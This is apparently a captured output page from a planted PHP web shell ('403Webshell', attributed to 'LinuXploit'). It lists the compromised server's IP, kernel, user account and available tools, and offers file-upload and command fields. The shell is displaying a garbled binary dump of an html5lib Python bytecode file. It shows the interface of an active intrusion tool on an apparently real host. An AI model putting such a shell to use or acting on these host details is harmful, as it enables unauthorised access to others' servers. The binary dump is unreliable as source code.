403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/html5lib/treewalkers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/html5lib/treewalkers/__pycache__/etree.cpython-311.pyc
�

V=�^����ddlmZmZmZddlmZddlZddlmZddl	m
Z
ddlmZej
d	��Zd
�Zee��ZdS)�)�absolute_import�division�unicode_literals)�OrderedDictN)�string_types�)�base�)�moduleFactoryFactoryz
{([^}]*)}(.*)c���|}|�d��j�G�fd�dtj��}t	��S)N�asdc�0��eZdZdZ�fd�Zd�Zd�Zd�ZdS)�#getETreeBuilder.<locals>.TreeWalkera�Given the particular ElementTree representation, this implementation,
        to avoid using recursion, returns "nodes" as tuples with the following
        content:

        1. The current element

        2. The index of the element relative to its parent

        3. A stack of ancestor elements

        4. A flag "text", "tail" or None to indicate if the current node is a
           text node; either the text or tail of the current element (1)
        c���t|t��r)|\}}}}|dvrtjt	||��fS|}t|d��s|���}|jdvr
tjfS|jdkr;tj	|j
|�d��|�d��fS|j�krtj|j
fSt|jt��sJt|j�����t�|j��}|r|���\}}n	d}|j}t%��}t'|j�����D]V\}	}
t�|	��}|r.|
||�d��|�d��f<�O|
|d|	f<�Wtj|||t1|��p|j
fS)	N��text�tail�tag)�
DOCUMENT_ROOT�DOCUMENT_FRAGMENTz
<!DOCTYPE>�publicId�systemIdrr
)�
isinstance�tupler	�TEXT�getattr�hasattr�getrootr�DOCUMENT�DOCTYPEr�get�COMMENTr�type�
tag_regexp�match�groupsr�list�attrib�items�group�ELEMENT�len)�self�node�elt�_�flagr%�	namespacer�attrs�name�value�ElementTreeCommentTypes           ��</usr/lib/python3/dist-packages/html5lib/treewalkers/etree.py�getNodeDetailsz2getETreeBuilder.<locals>.TreeWalker.getNodeDetails s�����$��&�&�
�"&���Q��4��+�+�+��9�g�c�4�&8�&8�8�8��D��4��'�'�
&��|�|�~�~���x�A�A�A��
�'�'���\�)�)���d�i�����,�,�d�h�h�z�.B�.B�D�D���3�3�3��|�T�Y�.�.�"�$�(�L�9�9�I�I�4���>�>�I�I�I�"�(�(���2�2���#�%*�\�\�^�^�N�I�s�s� $�I��(�C�#�
�
��#'���(9�(9�(;�(;�#<�#<�4�4�K�D�%�&�,�,�T�2�2�E��4�BG��u�{�{�1�~�~�u�{�{�1�~�~�>�?�?�.3��t�T�l�+�+���i���s�4�y�y�5�D�I�7�7�c���t|t��r|\}}}}n|dgdf\}}}}|dvrdS|jr|||dfSt|��r!|�|��|dd|dfSdS)Nrrr)rrrr,�append�r-r.�element�key�parentsr1s      r7�
getFirstChildz1getETreeBuilder.<locals>.TreeWalker.getFirstChildHs����$��&�&�
C�.2�+���g�t�t�.2�D�"�d�.B�+���g�t��'�'�'��t��<� �"�C��&�8�8���\�\� ��N�N�7�+�+�+�"�1�:�q�'�4�7�7��4r9c�B�t|t��r|\}}}}ndS|dkr2t|��r!|�|��|dd|dfSdS|jr|dkr|||dfS|t|d��dz
kr|d|dz|dz|dfSdS)Nrrr���r)rrr,r;rr<s      r7�getNextSiblingz2getETreeBuilder.<locals>.TreeWalker.getNextSiblingYs����$��&�&�
�.2�+���g�t�t��t��v�~�~��w�<�<� ��N�N�7�+�+�+�"�1�:�q�'�4�7�7��4��<� �D�F�N�N�"�C��&�8�8��3�w�r�{�+�+�a�/�/�/�"�2�;�s�Q�w�/��q��'�4�G�G��4r9c�D�t|t��r|\}}}}ndS|dkr
|s|S|||dfS|���}|s|St|d���|��dksJ�|t|d���|��|dfS)NrrBr)rr�popr'�count�index)r-r.r=r>r?r1�parents       r7�
getParentNodez1getETreeBuilder.<locals>.TreeWalker.getParentNodems����$��&�&�
�.2�+���g�t�t��t��v�~�~��7�"�N�"�C��$�6�6� �������R�!�M�����,�,�2�2�6�:�:�a�?�?�?�?�!�4����#4�#4�#:�#:�6�#B�#B�G�T�Q�Qr9N)�__name__�
__module__�__qualname__�__doc__r8r@rCrI)r6s�r7�
TreeWalkerrsk�������	�	�&	7�&	7�&	7�&	7�&	7�P	 �	 �	 �"	 �	 �	 �(	R�	R�	R�	R�	Rr9rN)�Commentrr	�NonRecursiveTreeWalker�locals)�ElementTreeImplementation�ElementTreerNr6s   @r7�getETreeBuilderrTsv���+�K�(�0�0��7�7�;��lR�lR�lR�lR�lR�lR�lR�T�0�lR�lR�lR�\�8�8�Or9)�
__future__rrr�collectionsr�re�sixr�r	�_utilsr�compiler$rT�getETreeModule�r9r7�<module>r^s���B�B�B�B�B�B�B�B�B�B�#�#�#�#�#�#�	�	�	�	�������������)�)�)�)�)�)�
�R�Z��
(�
(�
�r�r�r�j&�%�o�6�6���r9

Youez - 2016 - github.com/yon3zu
LinuXploit